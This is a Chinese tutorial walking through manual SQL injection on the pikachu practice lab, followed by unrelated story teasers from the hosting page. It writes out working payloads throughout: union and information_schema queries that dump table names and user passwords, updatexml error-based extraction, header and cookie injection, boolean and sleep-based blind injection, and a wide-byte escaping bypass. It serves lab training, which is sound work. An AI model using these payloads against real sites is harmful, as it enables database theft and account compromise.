SQL手动注入

一.本文介绍

1、本文介绍手动联合查询注入、information_schema注入、函数报错注入、insert注入、update注入、dalete注入、Http Header注入、Cookie注入、Boolian(布尔型)盲注、时间型盲注、宽字节注入。

2、pikachu靶机环境。

二.手动注入

1、联合查询union注入:

1、union操作符用于合并两个或多个SQL语句集合起来。一般与order  by语句配合使用。

2、先测试字段长度:a' order by1#% 、a' order by2#% 、a' order by3#% 、a' order by4#% .。

3、当测试到 a' order by3#% 时,如图一所示,说明查询字段准确;当测试到:a' order by 4#% 时:出现:Unknown column '4' in 'order clause' 。那么可以确定,查询的字段长度为3。

4、构造语句:a' union select database(),user(),version()#%

图一

图二

2、information_schema注入:

若MySQL的版本大于5.0,则MySQL中有一个很方便的系统库information_schema,其中存放着数据库名、表名、列名、用户等一系列信息。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。

TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

COLLATIONS表:提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表:描述了具有约束的键列。

ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

其中有三个比较重要的表:

information_schema.schemata:存放着所有数据库的信息

information_schema.tables:存放着所有数据的信息

information_schema.columns:存放着所有的信息

使用group_concat(table_name)会更强大。

获取pikachu数据库的表名 :u'union select table_schema ,table_name,3 from information_schema.tables wheretable_schema='pikachu'# ;如图一

获取pikachu数据库的字段名: k' union select table_name,column_name,3 frominformation_schema.columns where table_name='users'#%;如图二

最后获取字段值的内容:kobe'union select username ,password,3 fromusers#% ;如图三

图一

图二

图三

3、基于函数报错注入

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

三个常用的用来报错的函数

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

 extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数.

  floor():MYSQL中用来取整的函数.

报错的信息获取

UPDATEXML(XML_document, XPath_string,new_value);

XML_document是String格式,为XML文档对象的名称,文中为Doc

XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

new_value,String格式,替换查找到的符合条件的数据

1、爆数据库版本信息: k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1) #

2、爆数据库当前用户:  k' and  updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#

3、爆数据库k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #

4、爆表获取数据库表名,输入:k'andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

输入k' and updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='pikachu'limit0,1)),0)#更改limit后面的数字limit 0完成表名遍历;如图一

5、爆字段获取字段名,输入:k' andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name='users'limit 2,1)),0)#

6、爆字段内容获取字段内容,输入:k' and  updatexml(1,concat(0x7e,(select password fromusers limit 0,1)),0)#  ;如图二

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

图一

图二

4、insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

语法: admin'or updatexml(1,concat(0x7e,(命令)),0) or'

1.爆表名

 admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

2.爆列名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

3.爆内容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

5、update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。

' or updatexml(0,concat(0x7e,(database())),0) or'

6、dalete注入

在ID后面写,空格要转编码(%20),不用加单引号(')

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法:delete from message where id=56or updatexml(2,concat(0x7e,(database())),0)

7、Http Header注入

在已加密的包中修改,未加密的修改无效 

先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

8、Cookie注入

 Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。

SQL盲注分为三大类:

基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

9、Boolian(布尔型)盲注

介绍:盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

1、通过嗅探得出数据库名称(vince' and ascii(substr(database(),1,1))=112#)

直到把数据库的全名探测出来为止

10、base on time(时间型)盲注

1、判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)(vince' and sleep(6)#)

注意:Asc码盲注不不适用于 时间型盲注。

11、宽字节注入

简介:

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。

1、宽字节注入(kobe%df' or 1=1#)

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,186评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,858评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,620评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,888评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,009评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,149评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,204评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,956评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,385评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,698评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,863评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,544评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,185评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,899评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,141评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,684评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,750评论 2 351